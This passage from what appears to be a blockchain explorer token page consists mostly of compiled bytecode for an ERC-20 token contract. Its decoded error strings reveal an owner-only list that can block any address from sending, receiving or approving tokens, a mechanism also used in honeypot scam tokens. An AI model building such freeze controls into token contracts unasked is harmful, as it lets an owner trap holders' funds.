ffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040516105a19190611a9f565b60405180910390a3600191505092915050565b6105bc611727565b73ffffffffffffffffffffffffffffffffffffffff166105da610e26565b73ffffffffffffffffffffffffffffffffffffffff1614610630576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062790611d5f565b60405180910390fd5b60005b81518110156106c15760016007600084848151811061065557610654611d7f565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806106b990611ddd565b915050610633565b5050565b6000600454905090565b6000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561075e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075590611e71565b60405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156107eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e290611edd565b60405180910390fd5b600760006107f7611727565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561087f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087690611f49565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036108ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e590611fdb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361095d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109549061206d565b60405180910390fd5b600082116109a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610997906120ff565b60405180910390fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610a22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a199061216b565b60405180910390fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ae1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad8906121d7565b60405180910390fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b3091906121f7565b9250508190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b86919061222b565b9250508190555081600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c1991906121f7565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c7d9190611a9f565b60405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610cf4611727565b73ffffffffffffffffffffffffffffffffffffffff16610d12610e26565b73ffffffffffffffffffffffffffffffffffffffff1614610d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5f90611d5f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60028054610e5c90611c0a565b80601f0160208091040260200160405190810160405280929190818152602001828054610e8890611c0a565b8015610ed55780601f10610eaa57610100808354040283529160200191610ed5565b820191906000526020600020905b815481529060010190602001808311610eb857829003601f168201915b505050505081565b600080339050600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610f70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6790611edd565b60405180910390fd5b60076000610f7c611727565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611004576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffb90611e71565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611073576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106a90611fdb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036110e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d99061206d565b60405180910390fd5b60008311611125576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111c906120ff565b60405180910390fd5b82600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156111a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119e9061216b565b60405180910390fd5b82600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111f691906121f7565b9250508190555082600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461124c919061222b565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516112b09190611a9f565b60405180910390a3600191505092915050565b60006112cd611727565b73ffffffffffffffffffffffffffffffffffffffff166112eb610e26565b73ffffffffffffffffffffffffffffffffffffffff1614611341576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133890611d5f565b60405180910390fd5b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611424611727565b73ffffffffffffffffffffffffffffffffffffffff16611442610e26565b73ffffffffffffffffffffffffffffffffffffffff1614611498576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148f90611d5f565b60405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611524576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151b906122ab565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611587611727565b73ffffffffffffffffffffffffffffffffffffffff166115a5610e26565b73ffffffffffffffffffffffffffffffffffffffff16146115fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f290611d5f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361166a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116619061233d565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600081519050919050565b600082825260208201905092915050565b60005b8381101561176957808201518184015260208101905061174e565b60008484015250505050565b6000601f19601f8301169050919050565b60006117918261172f565b61179b818561173a565b93506117ab81856020860161174b565b6117b481611775565b840191505092915050565b600060208201905081810360008301526117d98184611786565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611820826117f5565b9050919050565b61183081611815565b811461183b57600080fd5b50565b60008135905061184d81611827565b92915050565b6000819050919050565b61186681611853565b811461187157600080fd5b50565b6000813590506118838161185d565b92915050565b600080604083850312156118a05761189f6117eb565b5b60006118ae8582860161183e565b92505060206118bf85828601611874565b9150509250929050565b60008115159050919050565b6118de816118c9565b82525050565b60006020820190506118f960008301846118d5565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61193c82611775565b810181811067ffffffffffffffff8211171561195b5761195a611904565b5b80604052505050565b600061196e6117e1565b905061197a8282611933565b919050565b600067ffffffffffffffff82111561199a57611999611904565b5b602082029050602081019050919050565b600080fd5b60006119c36119be8461197f565b611964565b905080838252602082019050602084028301858111156119e6576119e56119ab565b5b835b81811015611a0f57806119fb888261183e565b8452602084019350506020810190506119e8565b5050509392505050565b600082601f830112611a2e57611a2d6118ff565b5b8135611a3e8482602086016119b0565b91505092915050565b600060208284031215611a5d57611a5c6117eb565b5b600082013567ffffffffffffffff811115611a7b57611a7a6117f0565b5b611a8784828501611a19565b91505092915050565b611a9981611853565b82525050565b6000602082019050611ab46000830184611a90565b92915050565b600080600060608486031215611ad357611ad26117eb565b5b6000611ae18682870161183e565b9350506020611af28682870161183e565b9250506040611b0386828701611874565b9150509250925092565b600060ff82169050919050565b611b2381611b0d565b82525050565b6000602082019050611b3e6000830184611b1a565b92915050565b600060208284031215611b5a57611b596117eb565b5b6000611b688482850161183e565b91505092915050565b611b7a81611815565b82525050565b6000602082019050611b956000830184611b71565b92915050565b60008060408385031215611bb257611bb16117eb565b5b6000611bc08582860161183e565b9250506020611bd18582860161183e565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611c2257607f821691505b602082108103611c3557611c34611bdb565b5b50919050565b7f417070726f76657220697320696e206172726179000000000000000000000000600082015250565b6000611c7160148361173a565b9150611c7c82611c3b565b602082019050919050565b60006020820190508181036000830152611ca081611c64565b9050919050565b7f5370656e64657220697320696e20617272617900000000000000000000000000600082015250565b6000611cdd60138361173a565b9150611ce882611ca7565b602082019050919050565b60006020820190508181036000830152611d0c81611cd0565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611d4960208361173a565b9150611d5482611d13565b602082019050919050565b60006020820190508181036000830152611d7881611d3c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611de882611853565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611e1a57611e19611dae565b5b600182019050919050565b7f53656e64657220697320696e2061727261790000000000000000000000000000600082015250565b6000611e5b60128361173a565b9150611e6682611e25565b602082019050919050565b60006020820190508181036000830152611e8a81611e4e565b9050919050565b7f526563697069656e7420697320696e2061727261790000000000000000000000600082015250565b6000611ec760158361173a565b9150611ed282611e91565b602082019050919050565b60006020820190508181036000830152611ef681611eba565b9050919050565b7f43616c6c657220697320696e2061727261790000000000000000000000000000600082015250565b6000611f3360128361173a565b9150611f3e82611efd565b602082019050919050565b60006020820190508181036000830152611f6281611f26565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611fc560258361173a565b9150611fd082611f69565b604082019050919050565b60006020820190508181036000830152611ff481611fb8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061205760238361173a565b915061206282611ffb565b604082019050919050565b600060208201905081810360008301526120868161204a565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206d757374206265206760008201527f726561746572207468616e207a65726f00000000000000000000000000000000602082015250565b60006120e960308361173a565b91506120f48261208d565b604082019050919050565b60006020820190508181036000830152612118816120dc565b9050919050565b7f45524332303a20696e73756666696369656e742062616c616e63650000000000600082015250565b6000612155601b8361173a565b91506121608261211f565b602082019050919050565b6000602082019050818103600083015261218481612148565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006121c1601d8361173a565b91506121cc8261218b565b602082019050919050565b600060208201905081810360008301526121f0816121b4565b9050919050565b600061220282611853565b915061220d83611853565b925082820390508181111561222557612224611dae565b5b92915050565b600061223682611853565b915061224183611853565b925082820190508082111561225957612258611dae565b5b92915050565b7f41646472657373206973206e6f7420696e206172726179000000000000000000600082015250565b600061229560178361173a565b91506122a08261225f565b602082019050919050565b600060208201905081810360008301526122c481612288565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061232760268361173a565b9150612332826122cb565b604082019050919050565b600060208201905081810360008301526123568161231a565b905091905056fea26469706673582212201a7122f66af41929be043965a9280248617b35f74aaa4e1c3732787843edb82264736f6c63430008130033

Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.